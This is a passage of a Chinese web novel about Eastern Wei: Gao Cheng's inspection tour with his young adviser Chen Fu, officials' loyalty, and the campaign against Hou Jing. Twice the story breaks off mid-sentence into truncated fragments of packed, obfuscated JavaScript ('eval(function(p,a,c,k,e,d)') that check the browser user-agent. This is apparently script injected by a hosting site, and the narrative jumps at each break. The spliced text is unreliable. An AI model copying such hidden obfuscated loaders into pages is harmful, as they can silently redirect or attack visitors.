车舆之内,熏香袅袅,高澄与陈元康围坐案前,商议典签密报的各州刺史、镇将及豪强士族舆情。陈扶在侧静静煎茶,将两盏新茶奉于案上,她推开细纱木窗,远处太行如黛,官道旁杨柳依依。 从晋阳至定州,多是驿道,队伍迤逦而行,未及日暮便直抵定州城外。 定州刺史厍狄干已率属官迎候,见高澄下车,立刻趋步上前躬身行礼。高澄抬手免礼,率军入城。行辕设于刺史府,亲兵迅速分守州府内外,护得周密。 入府未歇,他便先召来定州各级僚属升堂理事,厍狄干陪立一侧。高澄端坐主位,翻阅着州府呈上的户籍、垦田薄册,时而垂询几句闾阎舆情,待将公务一一厘清,已是月上中天。 厍狄干本是高澄姑父,见公务已了,便邀他至私邸小聚。便宴摒去繁文缛节,只高澄、陈元康等亲信与厍狄干极其家人副手围坐,一叙契阔,纵论东境局势。 陈扶则随厍狄干的子侄另开一桌,席上猜枚赌饮,笑语喧声盈耳。 次日一早,高澄携众登定州塔。 塔身砖石尚带夜露湿气,壁上苔藓沁出深绿,春风穿塔而过,卷起衣角轻扬。行至顶层,忽有细密雨丝飘落,淅淅沥沥,高澄立于栏边,望着暮春微雨中的景致。 唐河河畔芦苇丛生,沿岸捕鱼、浣纱的百姓纷纷收网避雨。 随行一定州官员望着此景,不禁叹息:“山河虽美,却处处烽烟,百姓何时方能安稳度日?” 陈扶笑回,“大将军亲巡东境,正是为扫平烽烟、护佑生民。”她望着蜿蜒如练的唐河,朗然吟道,“塔势凌霄汉,河光接远天。烽烟何足惧,此役定山川。” 众人皆抚掌赞之,低迷之气一扫而空。高澄目光落在她被雨丝濡湿的发梢上,眸中笑意温醇,“我家稚驹此诗,十足燕赵之慷慨。” “大将军心怀天下,气度何止燕赵之慷慨。” 下塔没走几步,闻到一股焦香,道旁槐树荫里有个小贩,炉子里正烤着烧饼。高澄看陈扶瞟了两眼,朝刘桃枝丢个眼色,油纸包递来时还带着灶膛余温,陈扶掰了块塞嘴里,酥脆面香混着枣泥浸满舌尖,果如闻着一般香甜。 厍狄干看她吃了一整个后,还要吃剩下的,大嗓门道,“且住!午时我让后厨焖了黄羊肉,酸汤熬得浓醇,留着肚子才不亏!”高澄闻言笑睨姑父一眼,“只要爱吃,便不亏。”陈扶却收住动作,将捧着的油纸包拢紧,向厍狄干弯起眉眼。 高澄午后亲视农耕,正垂目看着主簿递来的粮税账册,一亲卫飞奔而来,单膝一跪,将两份火漆军报举过头顶。 高澄的指节在军报封泥上顿了顿,未及开口,从人已识趣退远,只剩陈元康与陈扶立在身侧。 第一份军报详述了侯景异动:那贼子刚向南梁请降,转头又向贼国求援,扬言愿割东荆州、北兖州、鲁阳、长社四城换取援兵。贼国因不信侯景,没有派军接应。王思政却认为若不趁机进取,必将后悔莫及,于是率荆州步骑一万余,由鲁阳关进兵阳翟。宇文泰听闻王思政出兵,便加封侯景为大将军兼尚书令,并令赵贵和李弼驰援。 待援军一到,侯景设宴邀请赵贵和李弼,赵贵识破其奸,非但未赴宴,反以‘商议军机’为名邀侯景过营。他自然没去,二人觉出他有异,待南梁羊鸦仁援军抵达,便班师了,只留王思政屯驻颍川。 侯景连夜奔往悬瓠城与羊鸦仁汇合。宇文泰因觉被利用,传召侯景入朝议事,侯景回信道:吾耻与高澄雁行,安能比肩大弟?” “这厮!”高澄虽怒,嘴角却含着笑意,这情形恰如陈扶所料,侯景狼子野心,绝不肯甘居贼国、南梁之下,不过是想哄骗粮草援军罢了。 另一份写着我方动向:韩轨自颍州班师,慕容绍宗已奉命率十万大军出发,那侯景听闻是慕容绍宗前来,叩鞍有惧色,自言自语‘是谁叫这个鲜卑小儿派慕容绍宗来的,难道高王还没死?’。 高澄指尖在布帛边缘摩挲,未有言语。 他本因侯景惧色而宽心,可一想到慕容绍宗是尔朱家旧部,与自己素无交情却掌十万重兵,还是掠过一丝疑虑。 陈扶目光在他脸上转了转,声音放轻道:“斛律光与刘丰生都随军去了,一个是大将军一手提拔的亲信,一个是大王信任之人,不会有问题的。” 陈元康也笑道,“绍宗知臣特蒙顾待,前月曾使人来送臣饷金,以致其诚。臣为安其心,故受之而厚答其书,世子尽可放心任用。” 高澄眸光一闪,那点审慎烟消云散,将军报折好塞给陈元康,“传我将令,慕容军的粮草辎重,沿途州府优先供给,若有延误,以军法论处!”说罢走向等候的官吏。 田埂上只剩二人,陈扶转向陈元康,“阿耶,为国‘受贿’原也无妨,只是别都锁进自己库房才好。”她指尖划过田埂上的草叶,目光清亮,“如今世子倚重阿耶,自不计较;毕竟开国之臣 ,有才能就可用。但等大事一定,便会要求才德兼备。” 陈元康先前还担心,世子太过溺爱纵容,这丫头年纪轻,怕是会恃宠而骄闯出祸来。此刻听她竟如此深思远虑 ,心里甚慰,拍拍她肩笑道:“都听我家阿扶的。” 待到晚上议事,趁诸人核计军备开支,陈元康偶提一嘴,愿捐二十金,充作前线军饷。高澄赞他忧国如家,难能可贵,众官见状,也纷纷献资。 三日后,高澄启程东行。临行前,他在城门口紧紧握住厍狄干的手道,“邺城终有不及,定州之安定,要仰仗姑父。凡有异动,无论来自内部还是周边,姑父皆可密信直奏,先机处置。日后论功,此为首要。” 厍狄干本就是豪爽武将,又是亲人,被这番托付说得热血上涌,反手攥紧高澄的手,“世子放心!某便是拼了这把老骨头,也得把定州治得铜墙铁壁一般!” 到了冀州地界,队伍扎营于荒甸之上休整炊事,高澄与陈扶共骑白龙驹,巡视荒地。 高澄握缰策马,问怀里人,“依稚驹看,此处若要垦殖,该从何处着手?” “东边地势略高,不易积水,可种粟麦;西边临近漳水支流,可开渠引水,改田种稻。不过,此处荒弃多年,需先清点流民,分户授田,再派农官指导,或能事半功倍。” “不愧是我的小王猛,一语点透症结。流民分户、农官指导,此事交予高隆之办,他必不怠慢。” 话音未落,天际骤暗,豆大雨点毫无预兆砸落,先只几点,转瞬便成瓢泼之势,打湿了高澄外衫,也淋得陈扶女官服浅青变作靛蓝。 荒陂之上尽是疏林浅草,唯有东南方百余步外,隐约半截青灰色的祠宇飞檐。 他调转马头,缰绳一紧,片刻便至祠前,那古祠早已破败,门楣上 “土地祠” 三字朱漆剥落。高澄翻身下马,一脚踹开虚掩木门,祠内正中土地公塑像半塌,阴暗潮湿,倒也能暂避风雨。 看她微微战抖,高澄脱了湿外衫,将她往身前一带,拢进怀里,掌心贴着她后背搓揉。 暖意透过湿衣渗进肌理,冷意瞬时褪了大半。 陈扶缩在他怀里,抬眼瞥见他眉峰微敛,似嫌等待无趣。笑道:“忽逢骤雨,却也有几分意趣。”扫过祠外雨打荒榛,轻声吟道,“荒祠避骤雨,荒芜承甘霖。相依听涛落,风定待晴明。” 高澄低头望向她。 昏暗中,她睫毛沾着细碎雨珠,眼眸亮得像盛了星光。心中不耐尽数化去,只剩一片温润,目光胶着在她脸上,一时下唯有雨声风声,轻浅呼吸,暖意裹着降真余香,丝丝缕缕缠绕。 良久,方轻吐出四字:“此刻甚好。” 祠外传来马蹄声,“世子,属下带伞来迎。”高澄身形微顿,收紧手臂又抱了抱她,才缓缓松开。 信都,司马子如率属官出城十里相迎,见高澄安车驶近,忙快步上前,笑容堆得满脸,语气却难掩局促:“大将军巡幸冀州,子如恭迎来迟,望乞恕罪!” 高澄掀帘下车,目光扫过远处漕运码头繁忙景象,又落回司马子如身上,唇角噙着淡笑,“遵业治理有方,漕运兴盛,何罪之有呐?” 一行直入冀州府衙,高澄坐于主位,开门见山:“此行一核漕运账目,二查粮储实数,三议流民垦田之策,今日务必落地。”众官齐声领命,呈上州府汇总文书,陈元康与漕运使核账,逐笔比对流水…… 待诸事议定,日已暮色,司马子如忙上前道:“大将军与诸位辛苦,寒舍已备下冀州土菜,还请移驾。” 所谓 “寒舍”,原是他在城郊的别业,依山傍水,青瓦粉墙绕着竹篱,院内暖炉燃着松烟。正厅内,楠木案上菜肴精致、酒壶烫得温热,倒也不算奢靡,显然是记着当年受辱的教训,刻意收了浮华。 宾主落座,司马子如亲自为高澄斟酒,手抖得险些洒出。他端起自己的酒杯,喉结滚动数次,终于压着声音开口,带着哭腔:“世子…… 罪侄…… ” 他侄子司马世云举颍州从侯景一起反了。 一句话刚落,他便要起身叩首,高澄抬手按住他,“此事你正月便差人密报至晋阳,何罪之有?” 司马子如身子一僵,往日油滑消失无踪,眼中满是惶恐,“可罪侄举颍州附逆,我…… 我身为叔父…… ” “你是你,他是他。”高澄打断他,提起酒壶为他添满,“当初高慎献虎牢而反,其弟高子通主动报之,不是也没被牵连?子通颇有胆气,勇猛过人,已随慕容绍宗平叛。你既已密报了我,司马世云之事,便与你无干。” 司马子如仍惴惴不安,他对这个世子实在怵得慌,之前自己明明于郑大车之事有恩于他,可受贿后仍被其驻马行街,把他吓个半死,高欢看老朋友憔悴可怜,安抚他,赐他酒百瓶,羊五百口,粳米五百石。他惧怕地说,“无事尚被囚几死,若受此,岂有生路邪?” 故而自被再次启用,到冀州出任刺史后,他是真改了。 高澄看他那样子,浅酌一口酒,眸中闪过笑意,“遵业治理冀州,粮储丰足,百姓安居,功绩我已尽知。你既能忠心,也能改。”看向其子司马消难,少年立在一旁,风姿俊朗,眉眼间很有灵气,“道融尚未婚配吧?我妹高那耶明年便及笄,若你愿,这门亲事便定下如何?” 司马子如大喜过望,老泪纵横,“蒙世子不弃!子如安有不愿!道融!快给大将军磕头!” 司马消难连忙跪地俯首,连连大拜,“道融日后,唯大将军马首是瞻,赴汤蹈火,在所不辞!” 高澄示意他起身,司马子如忙不迭地奉酒布菜,趁高澄得兴,他双手捧着酒杯,试探地问,“我那三个侄子……幼之、子瑞、膺之,按律当因其兄被诛……只是这三个孩儿各有才能,实在可惜啊……” 看高澄笑而不语,司马子如心思,应是死不了了,死不了就好,留得青山在,不怕没柴烧。 心一安,口中便滔滔不绝表起忠心来,说要效犬马之力。 陈扶见时机正好,轻声开口:“刺史既愿为大将军效力,稚驹有一浅见,斗胆呈上。”目光落在壁上悬挂的冀州舆图上,“冀州乃漕运要冲,博广池周边粮米充足,若增派二十艘官船,直运前线,既省中转之费,又解军粮之急,不知刺史以为如何?” 司马子如本就是人精,女史的话无异于高澄的授意,忙应道:“陈女史所言极是!此事明日便办!” 次日,高澄理完漕运政务,留陈元康在码头监看调度,自己则携陈扶登舟游起了湖。 荷叶初展,碧色连天,渔舟小巧,穿行其间,见有船头挂着‘现捕现烹’木牌的流动船肆,高澄令船夫并船,不多时,厨娘端来清蒸虾、红烧鲤鱼等河鲜。 鱼肉鲜嫩,滋味绝佳,高澄取过酒壶,倒了两杯米酒,递一杯与陈扶,陈扶接过,与他碰杯,浅酌一口,酒液入喉,清甜中带着几分醇香,沁人心脾。 湖光落在她眉眼间,温柔了她的轮廓,高澄望着她,忽想起初见时,那个扎着双丫髻的孩儿,喝一口酒便皱紧眉头,如今竟已能与他共饮,共论天下大事。 不由胸中翻涌起沉雄,望湖而赋: “衡湖泱泱兮,涵纳百川。太行嵯峨兮,为吾屏藩。往世英豪兮,逐鹿其间。戈矛既折兮,霸业成烟。今吾临戎兮,巡守东藩。誓清寰宇兮,重整河山。” 陈扶眸中闪过赞叹,承前而拓,相谐而应: “漕运通衢兮,粮秣连绵。盐利充军兮,壁垒自坚。中兴之业兮,肇始于肩。万方仰德兮,四海归贤。古之豪杰兮,皆为序篇。今朝风流兮,唯君独先。” 高澄眸光大亮,仰头朗声大笑,举杯与她相碰,“有稚驹在,我无有不能。” 在信都的三日,司马子如对陈扶父女极尽殷勤,派去最伶俐的仆妇,连她的裙摆脱了线都被悄悄收去缝补。遇事必请教陈扶,还对儿子司马消难道:“她不过豆蔻,却沉静庄重,言辞老道高深,日后你在邺为官结交,万莫以其为小女儿家轻之漏之。” 离开冀州南下,趁车厢只剩二人,陈扶问高澄道:“大将军为妹妹定下的婚事,可曾问过她?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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济州属东魏黄河漕运带,沿岸官仓密布,粮船挤泊码头,船夫赤臂拉纤,号子雄浑穿云;岸边晒粮场铺就金浪,民夫肩扛粮袋穿梭入仓,官差执簿登记,一派舟楫往来、人声鼎沸的繁忙景象。 时逢春汛,黄河浊浪翻滚,水势湍急如奔。部分粮船被暴涨河水困住,离岸数丈难靠,船夫们奋力撑篙,篙尖插入浪中竟掀不起半分波澜。高澄立在堤上,眉头微蹙。济州刺史见状,不仅呵斥船夫,竟欲命岸边民夫下河拖拽。 陈扶凑近高澄,附耳几句,高澄抬手止住刺史,“不必为难他们。既知漕渠修缮为要,更要抚恤民夫,激起民变,这罪责你来担?”转头吩咐刘桃枝:“带些人去搭把手。” 处置完漕运急事,又将沿路的流民青壮编为‘新安营’,派驻前线,老弱者迁往垦区,分授荒地;既解流民安置之困,又补前线兵源之缺。 随后接见济州官吏耆旧,“在座诸位,或为元从之后,或为乡里望族,皆是国之腹心。侯景跳梁小丑,不足为虑,望诸君与澄同心同德,共保大魏安宁。”他话锋微转,眸色锐利,“内安方能外攘。若有宵小不识大体,欲趁乱行不轨之事……也休怪孤,顾不得往日情分。” 赴青州之路多丘陵,五百亲兵马步相济,旌旗在山道间蜿蜒如蛇。 青州濒海富庶,盐铁之利甲于诸州,沿海盐场炊烟缭绕,盐户或支锅煮盐,或于滩涂晒盐,盐官往来巡查记账,盐车队列首尾相接,向内陆转运不息。 东阳城内,尉景率属官相迎,高澄见他身形消瘦,鬓发霜白,不由上前半步,关切道:“姑父治下百姓安居,便是最大功绩,不必过于操劳。”尉景苦笑摇头,“是老了,不必当年了。” 私府内,医官身影不时出入,显是为他调理身体。 盐务议毕,高澄忽笑问尉景:“姑父,当年你宝贝得紧的那小东西,可还活着?” 尉景正按着胸口缓气,闻言瞥他一眼,“它才十二岁,如何就死了?” 高澄眉梢一挑,“在哪儿养着?” 尉景依旧没什么好气,“还能在哪儿?后院。” 一旁的陈扶听得满心疑惑,听着像是在说人,可又透着古怪。正要细思,手腕被轻轻一拉,高澄侧脸对她笑道:“稚驹,带你见个稀罕物。” 他咬着 “稚驹” 二字,眼底藏着捉弄笑意,不等她应声,便拉起她往外走。 后院一被拾掇得干净的马厩里,卧着匹通体雪白的小马。 它比寻常马矮了大半,堪堪到腰腹,鬃毛梳得顺滑如缎,正低头慢悠悠啃着苜蓿,听见脚步声,歪着脑袋望过来,一双黑眼珠亮得像浸了油,小耳朵轻轻扇动,模样乖巧又憨态。 这马生得太过可爱,任谁见了都要心生柔软。她下意识伸出手,那小马竟起身凑了过来,用温热鼻尖蹭了蹭她指尖,全没半分牲畜野性。 高澄倚着围栏,笑问,“你没觉得像谁?” 听他语气调笑,陈扶已是了然,原来她的小字,竟是这般而来。小马乖巧无害,是有几分她面对他时的样子,心里一硒,浅笑道:“稚驹实没看出像谁。” “那便再好好看看。” 他十五岁见这果下马,便觉它乖巧玲珑,一心想骑玩,可尉景宝贝得紧,连碰都不让他碰,还害得他挨了几十杖。 今日既有机会,自然要试上一试。 高澄打开围栏,伸手攥住马缰绳。那果下马歪头看他,模样温顺,似乎并不抗拒。高澄一跨一坐,持缰驱策,谁知那马竟像生了根一般,四条小短腿稳稳钉在原地,任凭他怎么抖缰、怎么夹马腹,就是纹丝不动。 高澄愣了愣,加大了力道。 可那果下马依旧不为所动,既不嘶鸣,也不尥蹶子,还轻轻偏过头,啃开了槽边的苜蓿,仿佛背上的人根本不存在。 “嘿,这小东西!” 高澄又好气又好笑。 见他要往马屁股上抽鞭子,尉景连忙上前按住,喘口气道,“这马就是这般性子,若不想动,抽死也没用。” 高澄啧了一声,“姑父下不去狠手,自然驯不好它,” “鞭子也抽过,好东西也喂过,它软硬不吃,索性便随它去了。”尉景爱怜地拂过马鬃,“它本就是偶产的异种,世间难得,我也没想让它当坐骑。” 高澄盯着那歪头啃草的马头,他一直以为这马是温顺的,今日才知竟是个犟种,转头看向立在栏外的陈扶,少女春衫胜雪,嘴角噙着浅浅的笑意,乖巧又懂事。 正看得入神,她忽转目望来,轻声道:“大将军,稚驹知道它像谁了。” 37.第37章 “哦?像谁?” “远在天边,近在眼前。” 高澄漫不经心弹掉袖上沾着的草屑,方才逗弄的兴味还挂在嘴角,眼神却已淡了,“只是看着像罢了。我家稚驹,怎会像这油盐不进的小犟种?” 陈扶只是浅笑,并不反驳。 “依我看,它跟你小子是一个样!”尉景拽住高澄的胳膊,把人从马背上扯下来,“当年你缠着我要它那模样,不比它受训多少。” 高澄撂回缰绳,屈指挠挠小马下巴,那小东西竟蹭向了他的掌心,仿佛方才那副顽抗样子只是错觉。 望着它黑溜溜的眼睛,想起另一双眼,心头蓦地一软,愈觉这小马是能驯好的。 次日,高澄携陈扶去往城南五里的纱帽山,山脚下马,亲兵远远跟着,二人拾级而上,山径草木葱茏,崖壁上嵌着许多灰白相间的蚌壳结石,层层叠叠,高澄点点那些蚌壳,“这是远古海田所变,此处曾是沧海,岁月流转,如今成了山岳。” “那我今日,岂非走过了沧海?” 高澄低头看她,雾霭蒙在她脸上,稚气未脱的眉眼透着柔软光晕,他喉结微动,目光从她脸上滑到石壁,低低应声:“恩。我们今日走过了沧海。” 爬到山腰,云雾愈发浓重,如轻纱般缠绕周身,远处峰峦只剩模糊轮廓。两人寻了块平整山石坐下,陈扶实在累了,往后一仰便要躺在石上,后颈刚触到凉意,就被一只温热大手稳稳托住。高澄稍一用力,将她的小脑袋轻轻搁在膝头,发丝带着水汽,凉丝丝地蹭过指腹。 她仰着脸看他,眼底映着流动的树影,“百姓叫此山纱帽,《水经注》里,郦道元称此山为劈山,稚驹观此山景,倒该叫雾山。” “那便将它定名雾山。” 正说着,有位折返下山的游人沿石阶走来。 隔着朦胧云雾,游人瞥见了石上的两人:男子生得极出挑卓然,一少女枕在他膝头,素色裙裾长铺石上,两人盈盈相望,低声说笑着什么。游人触景生怀,哼唱起来:“腹中愁不乐,愿作郎马鞭。出入擐郎臂,蹀座郎膝边……” 是《折杨柳歌辞》中诉尽男女缱绻之歌。陈扶闻声,忙撑着石面要起身,高澄按住她肩头,眼底漾着笑意,“管他作何。” “他也太不合时宜了。” 陈扶把个脸朝里一歪,埋在他衣袍里,闷声嘀咕,“唱这种歌。” “也不怪他。”肩上的手移至后颈,捏了捏,“你个头蹿得太高,旁人隔着雾色瞧不真切你的小脸,只当你已及笄。” “便是及笄,也不合时宜。” 高澄脸上笑意一淡,把着她脖颈的手紧了紧,游人走远,山间只剩虫鸣。静躺了会儿,陈扶坐起身,轻道:“不想爬了,下山吧。” 高澄向来‘行则至顶’,语气带上教导,“既爬了,没有半途而废的道理。” “不需登顶,也知会看到什么。”陈扶望向远处雾霭,“无非是云雾更浓些。” “不见得。”高澄站起身,伸手去拉她,“怎知没有意外之喜?” “稚驹不觉得自己会是例外。”陈扶轻轻挣开他的手,“能看到别人看不到的奇景,为了这一丝妄念,耗尽气力。” 高澄听她这话,怎么又似往参禅去了,把人一揽,往实处诱哄道:“我听姑父说,山顶有洞如门,高阔过丈,南北相通,云雾穿洞而过,如涛似浪,山顶庙宇隐在雾里,宛若神仙居所。你不是爱读《山海经》?那庙里的老道,说这山是‘禺虢所化’,你不想上去听听传闻故事?” 看她依旧无动于衷,他默了几息,松开她,撑着腿半蹲在她面前,“上来。” 陈扶没料到他会如此,心里一恍,脱口道,“稚驹爬就是了,大将军快请起来,登山本就累,再背我,岂非更吃力?” 高澄回头望她一眼,不及她瞧真切神情,又转了回去,“小时候背你还少么?上来,带你去看看奇景。” 风送寒香,雾色愈发浓重,将两人紧裹其中,陈扶望着他的背影,鞋尖微微探出,却又收回。 “稚驹长大了,自己走吧。” 离开青州,高澄一行北上沧、瀛二州,实地勘验沿海盐区。所到盐场连片分布,盐户劳作不辍,盐车络绎不绝运往各州,盐市交易活跃,盐利是军国财政的支柱,高澄甚为满意。召见商贾官吏时,他道:“盐铁之利,国家财用多赖于此。清廉干练者,孤不吝封赏;守法经营者,孤保你航道畅通、市易无阻。诸位皆是干才,入署效力便是为国建功,公等之利,皆从此出。”众无有不服。 南下徐州彭城,满城桃花盛开,刺史高归彦倒是应景,大摆筵席为高澄接风,丝竹歌舞不歇,连奏了一日。思及典签密报,其自到徐州为刺史,一改之前朴实淳厚之风,放纵声色,终日酣歌。 高澄怒气暗生,便要斥责,陈扶递来个眼神,火压了压,语气转淡:“尔既食君禄,当为国忧,偶尔松散倒也无妨,却不可误了国事。徐州是大魏南门,侯景的探子说不定就在城内。” 高归彦连连称是。 待回了行辕,高澄连饮几杯,将个茶盏重重搁在案上,“回去就换了他,徐州岂能交予这等耽于声色之徒。” “是该换。” 历史上的高归彦拥立高演、高湛,杀高殷。最后起兵谋反,为段韶所擒,斩首弃市。绝不是个安分的人,确实不适宜管边境重镇。 “不过不是此刻,”陈扶跪坐他身侧,缓言道,“侯景未平,徐州军情复杂,高归彦再不堪,徐州城防、军务都熟。换个新人来,摸透情况至少要月余,非常时期,一动不如一静。” 高澄“恩”了声,然他是个箭在弦上就要发的人,当即在心里琢磨起人选,忽抬眼瞅向陈扶,带上笑意,“自你上次提过一嘴,我召见了徐显秀几回,性子老实,骑射也硬挺,是块守前线的料。” 陈扶怔了稍许,方笑回:“大将军良匠琢玉,尽用人才也。” 心神一定,当即召来彭城守将,随他阅兵。 大军在山脚扎营,灯火如星海倒泻,从晋阳带出的十辆满载粮秣、医械,及绸绫丝葛、钱绢等物的辎车,皆打开停在营前,看得将士们眼热。 高澄身披甲胄,立于将台,“将士们!彭城虎贲,天下雄兵!国之坚盾!霸府府库之金银绢帛,今日,孤尽数分于尔等!凡有战功,立赏!不拖延,不克扣!可有信心,为孤,为大魏,守住这南疆国门?” “愿为大将军死战!”全军山呼海啸。 次日巡视完城防,离城北上,行至曹州地界,车外传来亲卫声音:“大将军,前线斥候送急报至!”高澄扬声道:“呈进来!”车帘被一只粗粝的手掀开一角,两封军报递了进来。 高澄先拆了一封,目光扫过,原本微蹙的眉峰陡然舒展,“好个慕容绍宗!于寒山堰诱擒梁军主帅萧渊明,南梁军伤亡数万,余者皆被俘虏,无一漏网!又于涡阳大破侯景,侯景现已退保涡阳城不出!” 陈元康大赞,“大将军启用绍宗将军,实是慧眼!” 陈扶端坐于软垫上,听着捷报,眉梢微扬,却没像二人那般喜形于色。 高澄转头看她,“我家稚驹可是有话要说?” “慕容将军必会胜之,只是侯景此人狡诈,斗阵经验又比萧渊明那等南梁膏粱老到。他如今输急了,必会兵行险招。大将军可去书提醒慕容将军,提防侯景奇袭,骑兵需配护腿,营外多设绊马桩,派哨巡查,莫要给侯景一丝可乘之机。” 历史上侯景便是靠着两次险中求胜,拖到次年才南逃。 高澄点头,对陈元康道:“那便劳烦长猷速按稚驹所言拟信,我命人八百里加急送往前线!” 说罢打开第二封军报,冷然一笑,“驻军长社的王思政,日子也不好过。城中百姓出逃大半,余下的却不肯降他,自发组织起来反击,连妇孺都在城头上扔石头……” 陈扶闻言,心口蓦地一热。因她的干预,长社百姓过得比历史上好些,方会在王思政占城时,站出来反抗。民心所向,便是克敌的最强利器,王思政这城,怕是守不了多久。 “我打算派高岳去夺回长社 。稚驹以为如何?” “此命甚妥。”陈扶先认可,随即话锋一转,补充道,“王思政擅用空城计,营中旗帜、炊烟都可能是假象,务必提醒高岳将军,不可贸然攻城。”她打开案上折起的舆图,指尖点着长社旁的洧水,“稳扎稳打,修筑土山以俯视城中,驻河堤引洧水淹城即可。期间设法把城中百姓救出,疏散到周边安全地界。” 刚吃到民心红利的高澄,自是乐意,“便依稚驹之计。待侯景南退,便令慕容绍宗率军合围长社,定要将这王思政生擒!” “真到合围之时,大将军何不……亲自前往?” 历史上,慕容绍宗、刘丰便是围攻长社时,乘船到城下窥视军情,被一阵狂风将船吹到了敌军视线内,被乱箭逼得投水溺亡。高敖曹当年没能保住,慕容绍宗和刘丰绝不能再折损在这种意外上。 高澄一怔,陈元康却先反应过来,拱手道:“阿扶所言极是啊!自世子辅政以来,虽整饬吏治文治至伟,却始终缺一场震慑朝野的武功。侯景本是我大魏旧将,属‘内忧’而非‘外患’。若世子能亲自领兵,拿下长社、生擒西贼大将王思政,这功劳足以为日后大业立下根基呐!” “好!待堤坝筑成,我亲征长社!” 高澄只觉心头阴霾尽散。有了这等捷报,又定了后续方略,去了邺城何愁压不住那群宵小。他执起案上银壶,给陈元康和陈扶各倒了杯,茶汤注盏,热气袅袅,窗外,农夫扶犁耕作,吆喝声随风飘来,混着燕鸣,一派安宁。 离邺城尚五里有余,已见一队轻骑疾驰迎上,为首的是永安公高浚。 “阿兄!”高浚翻身下马,大步流星奔到安车前,整个人凑到帘内,“可算盼着你回来了!” 高澄探出手,将高浚拽上了车,他心情正快,攥着他手笑问:“急什么?我这不是好好的?”瞅阿兄连指尖都似带着笑意,高浚眼睛一亮,“可是慕容绍宗胜了?!”看高澄挑眉,高浚一拍大腿,“阿兄,你这用人的本事,真是越来越神了!” 他本有满腹疑问,想问问晋阳和兄兄,见阿兄不提,便咽了回去,絮絮问起途中见闻。 一行入城,高澄径往大将军府,陈元康去尚书省见太原公,陈扶则换车转道李府。 冯翊公主元闻听高澄归来,迎至二门外,见了高澄忙上前搀住,“夫君回来了?一路劳顿,可腹中饥饿?晋阳如何?大王……大王病势可有好转?” “大王尚在病中。” 引他入内室,抱过襁褓中的小女儿递到他面前,“你瞧,她又长了些,就等着夫君回来取名儿了。”高澄低头看了眼,孩儿粉雕玉琢,确是可爱,“好,待臣有空,给孩儿想个名字。” 不多时,妾氏们闻讯来拜。 琅琊公主眉眼含愁,欲言又止;王氏甜美娇艳,连道想世子想得紧;宋氏上前殷勤布茶;陈氏和李昌仪最有眼色,只是含笑问安,不扰他心神。饶是如此,满屋脂粉气与细碎言语仍让高澄头疼,摆摆手,“尚有正事待理,你们先回院吧,日后自会去瞧你们。” 待几人退下,高澄又以备膳为由支走了冯翊公主,令刘桃枝去叫次子高孝珩。 片刻后,少年缓步而入,躬身行礼,唤了声 “兄兄”,听高澄问及府内如何,从容道:“兄兄离邺这五月,阿兄、三弟、四弟每日读书习武,未有懈怠,五弟虽淘气些,倒也没拉下功课。公主主母一心操持家事,未有多言,亦无旁骛。几位姨母也只在院中起居,至多见见族人,不涉外事。” “三叔时常来探望,三弟的小弓坏了,他还亲手修好,府里有什么事,送个信不出半时辰便会来人;四叔每月会派人送钱送物,二叔……应是忙于尚书省事务,除了初一十五按例问安,倒来得不多。” 高澄心下甚慰,这孩子眼明心亮,回话明白,真不枉他素日教导。 冯翊公主亲备了精膳小食,他只扒拉了几口,便往东柏堂去。 一众官员早已候在内堂,陈扶已来,如往常一般,于侧侍奉笔墨,高洋、李丞立于案前,案上堆摞着二人五月来经手的文书账册。 高澄翻阅着,时而蹙眉发问,向某个官员问话,时而提笔重新批注,时而赞一句,“卿此事办得稳妥,当记一功。” 次日卯时,太极殿。 高澄身着绛紫朝服,立于丹墀之下,对孝静帝请奏,“慕容绍宗率斛律光、刘丰、高季式等于寒山堰大破梁军,生擒萧渊明;涡阳一役,再败侯景,困其于孤城之中,厥功至伟。臣请陛下,任慕容绍宗为东南道行台、授开府仪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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兰京端食盘而入,将酱肘、炙鱼、清炒时蔬,一一摆上案,阿禛端着家常豆糊、两碟荠菜饼跟在其后。 高澄舀了勺豆糊晾着,看陈扶目光追着二人背影,笑问:“看他俩谁呢?” “南梁与侯景勾结,如今既不用备南方菜式接待南使,”陈扶收回目光,“留兰京也无用,不如放他走吧。” 高澄不明白,她为何总劝他放那兰京走,但还是耐心道:“眼下用得少,不代表日后不用。等侯景事了,我常居邺都,宴请南朝降臣,少不了他这般懂南方食俗的人。”话落又补了句,“稚驹不必再操心此人。” 陈扶还想再劝,对面的陈元康已说回正题,“世子,回晋阳前,中书监、尚书令与京畿大都督之职,当早做安排啊。” 喝了那口豆糊后,高澄看向儿子,“孝珩有何见解?” “孩儿浅见,当是自己人才可。然自己人中,能掌中书监与尚书令内政者,需是通晓吏治民生的经纬之才;京畿大都督掌禁军戍卫,干系邺城安危,则需能托命的忠诚之人。” “说得不错。” 高澄看向陈元康之际,高孝珩拿起公箸,夹了炙鱼腹上肥美无刺的一块,轻放进陈扶的食碟里。少年动作自然,目光仍落在自己碗里,仿佛只是随手为之。 “长猷有何高见?” 陈元康用余光瞥眼陈扶,前日陈扶将他请回李府,席上言辞恳切,反复叮嘱“万不可让太原公独掌京畿”。他虽觉太原公作为世子同母弟,更稳妥些,然这么久了,也知女儿眼目清明,从不出无的放矢之言。 “不若让太原公领中书监、尚书令,掌政务;永安公领京畿大都督,掌兵权,如此一来,军政分掌,相互制衡,避免权力过于集中,世子回晋阳当心安矣。”观察着高澄神色,补充道,“若觉永安公尚年轻,可命辛术与高隆之辅佐,辛卿明敏有识度,筑邺都、守清河皆有实绩;高公老成持重,可保万无一失。” 高澄指尖摩挲着碗沿,高浚是他一手带大提拔,从小甚爱他,这几月听孝珩所言,确实高浚对他更上心,可兵权交给异母弟……他转向陈扶,“稚驹觉得如何?” “辛术与高隆之共典营构时,百工顺遂,可见其协作无间;永安公协理京畿,门禁森严,从无纰漏,更难得是,待大将军一片忠心。这般安排,确是万全。” “好。” 